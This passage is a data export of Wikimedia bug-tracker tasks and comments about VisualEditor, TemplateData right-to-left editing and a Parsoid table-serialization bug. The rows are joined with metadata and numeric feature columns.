+**Severity**: enhancement",Medium,50.0,1372555020,1383280412.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-op3amukih656hqtejh6j,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+239625,VisualEditor: One should be able to select (and copy) the text of an edit notice,This was fixed as part of the toolbar fixes last week.,,,1383280412,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-op3amukih656hqtejh6j,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+239619,VisualEditor: One should be able to select (and copy) the text of an edit notice,"Text selection of the toolbar and descendants of it was intentionally disabled for design and user experience reasons.
+
+I can understand that it may be useful to re-enable it for the edit notice part of the toolbar though.",,,1372558387,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-op3amukih656hqtejh6j,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+52439,VisualEditor: Transclusion dialog should truncate spaces from parameter input,"When adding/modifying a template, you can append a space to the parameter, and even if you have that parameter already used, you can add one more. As well you can add a (multiple) empty "" "" parameter.
+
+Example template I made ended up as:
+
+{{test|name = ""
+
+
+
+
+
+
+
+|logo = '
+""| = |  = |logo = }}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=61049",Medium,50.0,1372554420,1414004857.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-nopdefkge3ym2od7ufrd,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+239402,VisualEditor: Transclusion dialog should truncate spaces from parameter input,"This appears to be fixed now. You can't create both ""foo"" and ""foo "" any more.",,,1414004857,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nopdefkge3ym2od7ufrd,task_subcomment,,True,c1,3,False,,,68,,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0
+239396,VisualEditor: Transclusion dialog should truncate spaces from parameter input,"Clarification: the transclusion dialog allows the user to create both ""foo"" and ""foo "" as separate parameters, but it shouldn't. It also allows the user to create the empty parameter ("" "") multiple times.",,,1373397301,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nopdefkge3ym2od7ufrd,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+52436,TemplateData: Creating TemplateData blocks should be direction neutral,"This is a bug/design issuse with TemplateData.
+
+To use TemplateData in RTL wikis, the syntax mix English and Arabic/Hebrew (etc).
+
+Editing mixed languages with different direction is hard and should be avoided as much as possible because of BiDi issues. (in some cases, such as Lua modules it isn't possible to completely avoid it).
+
+Example :
+<templatedata>
+{
+        ""description"": ""תבנית כלשהי."",
+        ""params"": {
+                ""שם"": {
+                        ""label"": ""שם"",
+                        ""type"": ""string/wiki-user-name"",
+                        ""required"": true,
+                        ""description"": ""שם של משתמש"",
+                        ""aliases"": [""1""]
+                }
+        },
+        ""sets"": [
+                {
+                        ""label"": ""Date"",
+                        ""params"": [""שנה"", ""חודש"", ""יום""]
+                }
+        ]
+}
+</templatedata>
+It is very hard to edit such syntax as above. (<templatedata> is OK since it is in different line - but the JSON isn't [if we don't want to define special indentation convention due to direction issues])
+The syntax for the JSON keywords (description, params, label etc) should be either translatable or should have some neutral direction alternative to defines it (JSON by itself is directionless - [{}:,] doesn't have direction information).
+
+See also:
+* bug 50169 - implementing this feature may reduce the severity of this bug (this solution will force template editors in RTL wiki to use visual editor at least for templatedata definitions).
+* bug 50370 - translation of interface items
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50370",Medium,50.0,1372540320,1415310061.0,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,False,PHID-TASK-ttobixbmawcbongmnatf,task_description,resolved,True,c1,2,False,False,False,-1,,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1
+239277,TemplateData: Creating TemplateData blocks should be direction neutral,"This is now effectively ""solved"" through general availability of the GUI to edit TemplateData.",,,1415310061,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,True,,,70,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+239274,TemplateData: Creating TemplateData blocks should be direction neutral,Would be nice to deploy it the template data editor to Hebrew Wikipedia  - it is more important then in other wikis because of this bug,,,1390051584,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+239271,TemplateData: Creating TemplateData blocks should be direction neutral,"(In reply to comment #15)
+> How about marking it as a duplicate of bug 51734?
+
+I don't think it's really a duplicate, though; the problem remains (so if you want to edit the source directly you still have to deal with it).
+
+(In reply to comment #16)
+> Thanks Moriel for implementing a nice workaround to this bug.
+> I think this bug can be disposed after template editor will be deployed to
+> all wikis.
+
+That seems like a reasonable resolution. Will do.",,,1389930776,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,True,,,28,,1,0,0,1,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+239264,TemplateData: Creating TemplateData blocks should be direction neutral,"Thanks Moriel for implementing a nice workaround to this bug.
+I think this bug can be disposed after template editor will be deployed to all wikis.",,,1389887269,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,28,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+239257,TemplateData: Creating TemplateData blocks should be direction neutral,How about marking it as a duplicate of bug 51734?,,,1389874215,,PHID-USER-sxpswmchfwxkuo2wszeo,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+239251,TemplateData: Creating TemplateData blocks should be direction neutral,"So… I'm not sure how to dispose of this bug:
+
+* FIXED – except it's not fixed, it's just ""worked around"" by bug 51734
+* INVALID – except it's still a valid concern
+* WORKSFORME – but only because I'm willing to put up with this (and I don't do RTL much)
+* WONTFIX – closest to the truth, but feels a little blunt
+
+Perhaps we should wait for the template editor to be deployed for all languages, then close this as WONTFIX?",,,1389807290,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,True,,,28,,1,0,0,1,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0
+239245,TemplateData: Creating TemplateData blocks should be direction neutral,"Change 85400 merged by jenkins-bot:
+Implement edit interface for TemplateData documentation
+
+https://gerrit.wikimedia.org/r/85400",,,1389753678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239241,TemplateData: Creating TemplateData blocks should be direction neutral,"Change 85400 had a related patch set uploaded by Mooeypoo:
+TemplateData Generator GUI
+
+https://gerrit.wikimedia.org/r/85400",,,1379736870,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239236,TemplateData: Creating TemplateData blocks should be direction neutral,"(In reply to comment #10)
+> Michal tool seems interesting but it currently lacks the ability to edit an
+> existing templatedata. Michal, is that something you're planning to add?
+
+Absolutely! Working on that now. At first you'll have to copy JSON data to the tool, but I'll try to add auto copying from a given template.",,,1375130859,,PHID-USER-x7g37sf6tkkrewspco2q,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,4,,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+239230,TemplateData: Creating TemplateData blocks should be direction neutral,"Ltrlg's script can edit an existing templatedata. I don't know if it works correctly with rtl languages, but if it doesn't you could always ask Ltrlg to fix it.
+
+Michal tool seems interesting but it currently lacks the ability to edit an existing templatedata. Michal, is that something you're planning to add?",,,1375122927,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,4,,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+239224,TemplateData: Creating TemplateData blocks should be direction neutral,"I forgot to attach the link... here it is:
+
+https://github.com/mooeypoo/MediaWiki-TemplateDataGenerator
+
+It's still being tested, and there are a couple of changes we should still implement, but it's getting there. I hope it will be ready for wider test in the next few days.",,,1375122853,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+239221,TemplateData: Creating TemplateData blocks should be direction neutral,"I'm working on a TemplateData Generator extension that will allow the editing or creation from scratch of templatedata json. It will allow the editing of the json data visually, so you could maintain the parameters or description as you please with a GUI.
+
+I'm also making sure it works with RTL languages and the GUI is completely translation-ready. I hope it will be ready in the next few days (at least a basic working version of it)",,,1375122782,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,4,,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+239217,TemplateData: Creating TemplateData blocks should be direction neutral,"Is it possible to edit templatedata or just create new? Is it possible to populate the form with existing tempaltedata?
+
+The main problem isn't creation of tempaltedata (which for many cases can be done by bots), but to maintain it - e.g changing the description, adding/removing parameters etc.",,,1375122472,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,1
+239210,TemplateData: Creating TemplateData blocks should be direction neutral,I've addded rtl support to my editor (http://tools.wikimedia.pl/~mlazowik/templatedata/). You can send me translations. More info in the bottom of the page.,,,1374862129,,PHID-USER-x7g37sf6tkkrewspco2q,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,0
+239203,TemplateData: Creating TemplateData blocks should be direction neutral,"A user interface exists also as a script on enwiki (which can be used directly from other wikis)
+http://en.wikipedia.org/wiki/User:NicoV/TemplateDataEditor
+
+It was written by Ltrlg (see 2 posts above) on frwiki, I translated it into English.",,,1374664108,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+239197,TemplateData: Creating TemplateData blocks should be direction neutral,"(In reply to comment #2)
+> The ideal thing here would be to build a tree-like visual TemplateData
+> editor,
+> that would save its data to JSON. Kinda like http://www.jsoneditoronline.org/
+> (first Google result for ""json editor"").
+
+It kinda exists now, http://tools.wikimedia.pl/~mlazowik/templatedata/, but is currently not translateable (only in Polish). The code is on GitHub (https://github.com/mlazowik/templatedata/) and author accepts pull requests :) (CC'ing him).",,,1374619504,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+239190,TemplateData: Creating TemplateData blocks should be direction neutral,See bug 51734 (Create a non-VisualEditor plugin tool to add/edit template hinting) for visual interface.,,,1374619335,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+239186,TemplateData: Creating TemplateData blocks should be direction neutral,"The ideal thing here would be to build a tree-like visual TemplateData editor, that would save its data to JSON. Kinda like http://www.jsoneditoronline.org/ (first Google result for ""json editor"").
+
+Separating labels and data would easily solve the RTL problem, and would also make TemplateData easier to edit for users in all languages.",,,1374353774,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+239181,TemplateData: Creating TemplateData blocks should be direction neutral,"Timo, thoughts?",,,1372689806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+52420,Wikitext list after implicit <td> not properly recognized,"I did not add this to closed bug 50012 because while it may be related it's not exactly the same.
+
+This edit to the text of the article added extraneous pipes throughout (http://en.wikipedia.org/w/index.php?title=List_of_male_kickboxers&diff=562103247&oldid=561869162) and also dropped some formatting on the end (|}|}|}|}|}|})
+
+See http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Unwanted_format_changes_throughout_article
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372512240,1372829597.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-itqhk6koq7bmakcn2wvo,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+238072,Wikitext list after implicit <td> not properly recognized,"Change 71744 merged by jenkins-bot:
+(Bug 50420) Recognize sol-content in implicit <td> after a <tr>
+
+https://gerrit.wikimedia.org/r/71744",,,1372829524,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+238071,Wikitext list after implicit <td> not properly recognized,"Change 71744 had a related patch set uploaded by Subramanya Sastry:
+WIP: (Bug 50420) Recognize sol-content in implicit <td> after a <tr>
+
+https://gerrit.wikimedia.org/r/71744",,,1372809900,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+238069,Wikitext list after implicit <td> not properly recognized,"Ok, renamed the bug to reflect the repurposing.",,,1372701474,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+238066,Wikitext list after implicit <td> not properly recognized,"Change 71314 merged by jenkins-bot:
+(Bug 50420) Tweaked selser to reuse td/th/tr wrappers from source
+
+https://gerrit.wikimedia.org/r/71314",,,1372701241,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238063,Wikitext list after implicit <td> not properly recognized,"I was wrong.  This bug was fixed by tweaking selser as in the patch above since VE does not have table-editing capability yet (only table contents, not table structure).
+
+There is an unrelated bug in the parser where leading list wikitext in a td-cell is parsed as plain text rather than as a list item.  So, the pipe problem is fixed by the above commit, but there will still be a dirty-diff (the first list item will be wrapped in nowiki on serialization).  That will be addressed separately.",,,1372651321,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+238058,Wikitext list after implicit <td> not properly recognized,"Change 71314 had a related patch set uploaded by Subramanya Sastry:
+(Bug 50420) Tweak selser to reuse td/th/tr wrappers from source
+
+https://gerrit.wikimedia.org/r/71314",,,1372650827,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238051,Wikitext list after implicit <td> not properly recognized,"https://en.wikipedia.org/w/index.php?title=List_of_male_kickboxers&diff=562167553&oldid=562162447 shows an instance where converting an implicit <td> into an explicit <td> on serialization is a semantic error.
+
+Reduced test case:
+
+{|
+|-
+*a
+|}
+
+This cannot be fixed by selser since on editing the list item, the <td> will go through regular serialization.
+
+We should be able to safely use the autoInserted* flags from data-parsoid in this instance since VE does not have table-editing capability yet.",,,1372565331,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+238043,Wikitext list after implicit <td> not properly recognized,"The problem is that this page had about 13 tables that were unclosed (missing |} wikitext).  Parsoid does handle a lot of corner cases, but at this time, unclosed tables (especially when there are lots of them) are harder for Parsoid to recover from.  But, we have some ideas for recovering from them in the future.  But, till such time, it is easier to fix the wikitext of the page like I did (https://en.wikipedia.org/w/index.php?title=List_of_male_kickboxers&diff=562162447&oldid=562113696)
+
+However, there is definitely a bug there which is about adding ""|"" after the first table row for which I'll repurpose this bug for fixing in Parsoid.",,,1372565021,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0
+238034,Wikitext list after implicit <td> not properly recognized,"I would consider this a blocker on Monday's deployment. Things not having support (browsers or features) I can deal with, but we cannot have this sort of corruption being introduced.",,,1372518582,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-itqhk6koq7bmakcn2wvo,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+52411,VisualEditor: Reference list display being cut off in some pages,"Screenshot, cut-off notes list
+
+In some formatting, the ""Notes"" section of an article gets cut off in editing mode display.  Additionally, ""a,"" ""b,"" ""c,"" etc. get turned into 1.0, 1.1, 1.2 while in editing mode.
+
+--------------------------
+**Version**: unspecified
